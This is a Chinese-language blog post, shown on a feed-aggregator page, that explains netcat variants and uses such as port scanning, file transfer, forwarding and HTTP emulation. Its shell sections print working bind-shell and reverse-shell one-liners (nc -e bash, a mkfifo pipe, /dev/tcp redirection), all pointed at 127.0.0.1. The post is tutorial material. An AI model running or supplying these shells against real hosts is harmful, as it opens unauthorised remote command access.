惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
V2EX
博客园 - 【当耐特】
Cyberwarzone
Cyberwarzone
B
Blog
U
Unit 42
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
WordPress大学
WordPress大学
美团技术团队
Hugging Face - Blog
Hugging Face - Blog
大猫的无限游戏
大猫的无限游戏
博客园 - 聂微东
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
博客园 - 叶小钗
F
Full Disclosure
Microsoft Azure Blog
Microsoft Azure Blog
Recorded Future
Recorded Future
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
小众软件
小众软件
云风的 BLOG
云风的 BLOG
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Cisco Talos Blog
Cisco Talos Blog
阮一峰的网络日志
阮一峰的网络日志
C
CERT Recently Published Vulnerability Notes
F
Fortinet All Blogs
C
Cyber Attacks, Cyber Crime and Cyber Security
C
Cisco Blogs
The Hacker News
The Hacker News
Know Your Adversary
Know Your Adversary
S
Securelist
S
Schneier on Security
P
Privacy International News Feed
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
AWS News Blog
AWS News Blog
J
Java Code Geeks
T
The Exploit Database - CXSecurity.com
The Last Watchdog
The Last Watchdog
S
Secure Thoughts
C
Cybersecurity and Infrastructure Security Agency CISA
H
Heimdal Security Blog
博客园 - Franky
P
Palo Alto Networks Blog
PCI Perspectives
PCI Perspectives
T
Tailwind CSS Blog
IT之家
IT之家
Engineering at Meta
Engineering at Meta
Latest news
Latest news
P
Proofpoint News Feed
量子位
Apple Machine Learning Research
Apple Machine Learning Research
K
Kaspersky official blog

f2h2h1's blog

使用yii3实现一个微框架 claw养殖技术 计算机网络基础知识 定时任务 ACME的使用经验 magento2加上varnish缓存 开发Magento2的模块 在magento2中使用persisted-query socket编程 一些开发笔记 一段CSDN文章主要内容的油猴脚本 电子邮件的不完整总结 git的笔记 在Windows下配置PHP服务器 终端,控制台和外壳 PHP各种运行方式的不完整总结 把网页导出成PDF 和颜色相关的笔记 HTTP认证方式的不完整总结 SEO的经验 密码学入门简明指南 文件的上传和下载 用纯CSS3实现的滑动按钮 在VSCode里调试PHP Linux的GUI 关于字符编码的一些坑 在Windows下安装Magento2 对JS原型链的理解 使用docker-compose部署magento2 浏览器和服务器通讯方式的不完整总结 观察网站性能 一些关于Linux的笔记 telnet的不完整总结 在Windows下安装pear MySQL的时间类型和时间相关的函数 Windows下通过PEB读取进程的环境变量 关于 在VSCode里使用Xdebug远程调试PHP 在Windows下搭建git服务 关于环境变量的不完整总结 使用shell实现的kv数据库 如何完成以xx管理系统为选题的毕业设计 数字号码资源 各种标记语言 使用PowerShell实现的http服务器 kind相关经验 DNSSEC简介 nginx+ffmpeg+websocket实现的直播例子 使用Tesseract识别字符验证码 使用docker部署nuxt FirstData后台的设置 paypal,firtdata,支付宝的不完整接入指南 微信支付的不完整接入指南 用docker-compose部署lnmp环境 mongodb分片 练习
nc的使用和原理
2025-03-13 · via f2h2h1's blog

nc的简介

nc 是 netcat 的缩写。

nc 是一个用于处理网络连接的工具。

netcat 的原始版本是一个 Unix 程序。 最后一个版本 (1.10) 于 1996 年 4 月发布。原作者叫做 Hobbit hobbit@avian.org。

现在的 nc 有很多种实现。下面是常见的五种实现。

  • GNU 版
  • openbsd 版
  • nmap 版
    • ncat 通常是指 nmap 版的 nc
    • ncat 的包名通常是 ncat nmap-ncat
    • https://github.com/nmap/nmap/tree/master/ncat
    • ncat 是 nmap 项目的组成部分。
    • Nmap (“Network Mapper(网络映射器)”) 是一个免费的开源实用程序,用于 网络发现和安全审核。
    • 除了经典的命令行 Nmap 可执行文件之外,Nmap 套件包括
      • 高级 GUI 和结果查看器 (Zenmap),
      • 一个灵活的数据 传输、重定向和调试工具 (Ncat),
      • 一个实用程序 比较扫描结果 (Ndiff)
      • 数据包生成和响应分析工具 (Nping)
  • socat
    • socat 的官方文档描述它是 "netcat++" (extended design, new implementation)
    • socat 的包名就是 socat
    • socat 是 socket cat 的缩写
    • http://www.dest-unreach.org/socat/
  • BusyBox 版
  • 除此之外,还有一个 cryptcat
    • cryptcat 是 netcat 的变体,基本上就是多了一个 密码 的参数
    • cryptcat 好像是来自 kali linux

多数情况下 nc 或 netcat 是指 GNU 版 或 openbsd 版,一般系统自带的是 GNU 版

  • 判断当前系统的 nc 版本 先用 type nc 再用 realpath 或 ls -l 查看 nc 的真实路径,最好用 realpath 类似这样 realpath /bin/nc

socat 和 ncat 和 nc-openbsd 都支持 tls 。 从功能上看。 BusyBox nc < nc-traditional < nc-openbsd < ncat < socat

nc的使用

nc 扫描端口

nc -v 127.0.0.1 801
nc -v -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 800-900
不是所有版本的nc都支持 i z 参数,不是所有版本的 nc 支持批量端口扫描

nc 实现聊天

最简单的一对一
    nc -l 801
    nc 127.0.0.1 801

nc 传输文件

接收端先运行一个 nc
    nc -l 801 > output.txt
发送端再运行一个 nc
    nc 127.0.0.1 801 < input.txt

nc 实现一个转发服务

nc 自己调用自己
nc -v -l -k -p 9901 -e "nc 127.0.0.1 9902"
nc -v -l -k -p 9901 -e "bash -c \"nc 127.0.0.1 9902\""
使用管道
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash -c "nc 127.0.0.1 9902" 2>&1 1>pipe1;

nc 实现远程 shell

远程 shell
    nc -v -l -p 9901 -e "bash"
控制端
    nc -v 127.0.0.1 9901
即使没有 -e 参数,也能通过管道实现各种奇技淫巧,虽然管道的奇技淫巧只能处理单个连接
    mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash 2>&1 1>pipe1;

nc 实现远程反向 shell

控制端先运行一个 nc
    nc -v -l -p 9901
目标机器上连接控制机器的 9901 端口,并将其shell绑定到该连接上
    nc -v 127.0.0.1 9901 -e "bash"
    mkfifo pipe1; cat pipe1 | nc -v 127.0.0.1 9901 | /bin/bash 2>&1 1>pipe1;
    exec 3<>/dev/tcp/127.0.0.1/9901; exec 0>&3; exec 1<&3; /bin/bash 2>&1;
    exec 3<>/dev/tcp/127.0.0.1/9901; /bin/bash 2>&1 0>&3 1<&3; 这种写法似乎更好

用 ncat 实现最简单的五个协议

参考这个网页
https://nmap.org/ncat/guide/ncat-simple-services.html

echo
    while read -r line; do echo "$line"; done
    echo 123 | while read -r line; do echo "$line"; done
    echo -e "123\n321" | while read -r line; do echo "$line"; done
    nc -l -k -p 9901 -e "cat $@"
daytime
    date -u "+%d %b %y %k:%M:%S %z"
    date -u --rfc-2822
    date -u --rfc-3339="seconds"
    date -u --iso-8601="seconds"
time
    date +%s | awk '{printf "%#x", $1+2209017600}' | xxd -r
discard
    while read -r line; do echo "$line" > /dev/null; done
chargen
    lineLimit=72;offset=0;count=0;while true; do for ((i=0; i<$lineLimit; i++)); do tag=$((($i + $offset) % 95)); printf "\x$(printf %x $(($tag + 32)))"; done; offset=$(($offset + 1)); if [ $offset -ge 95 ]; then offset=0; fi; printf "\n";count=$(($count + 1)); done;

nc 如何模拟 telnet 客户端?

nc 也可以像 telnet 那样模拟 http 客户端

nc www.baidu.com 80
连接后,快速地输入 GET / HTTP/1.0 然后连续输入两个回车,就能返回网页内容
又或者直接一句命令
    printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | nc www.baidu.com 80

nc 如何模拟 http 服务器

  • 输出固定的内容

    如果支持 参数 k
    trap "{ kill $; }" SIGINT;while true; do nc -v -l -k -p 9901 -c "echo \"HTTP/1.0 200 OK\\r\\nContent-Length: 11\\r\\n\\r\\nhelloworld\""; sleep 1s; done;
    
    如果不支持 参数 k
    while true; do { echo -e 'HTTP/1.1 200 OK\r\nContent-Length: 11\r\n\r\n'; echo helloworld; } | nc -v -l -k -p 9901; sleep 0.5s; done
    
    能保持运行,但每次只能处理一个请求,通过连续两次 ctrl+c 退出,但个请求都要等待一秒
    
  • 输出动态内容

    动态输出内容的命令会写得非常的长,而且还有很多转义字符需要处理,所以最后还是写成了脚本的形式
    nc -v -l -p 9901 -c ./http.sh
    同样地需要关注 nc 是否支持参数 k ,需要有两种不一样的写法,参考上面的就可以了
    参数k的作用是重复处理连接,如果没有参数k,nc会只处理一个连接就退出了
    
    这是 http.sh 的内容
    #!/bin/bash
    echo -n "HTTP/1.0 200 OK"
    echo -e -n "\r\n"
    echo -n "Content-Length: 11"
    echo -e -n "\r\n\r\n"
    echo "helloworld"
    
    已经有人做了类似的了
    https://github.com/avleen/bashttpd
    netcat -lp 9901 -e ./bashttpd
    
  • 测试用的命令

    curl -v 127.0.0.1:9901
    nc 127.0.0.1 9901
    

windows 如何使用 nc

nc的原理

大致原理

  • 只处理连接
  • socket一部分参数可以通过命令行传入,例如 -w -u 这类
  • 把socket的输入和输出重定向到标准输入和标准输出

nc 的源码

如何实现一个 nc

  • 实现一个客户端
  • 实现一个服务端

用 python 和 php 实现一个 nc

如果 bash 有 /usr/lib/bash/accept 这个特性,那么直接用 bash 实现一个 nc 也不是不可以的。 客户端部分用 exec /dev/tcp/$host/$port 和 exec /dev/udp/$host/$port 来实现, 服务端部分用 /usr/lib/bash/accept 来实现。 只有 bash 搞网络编程还是有太多限制了,因为 socket 很多选项无法通过 bash 设置。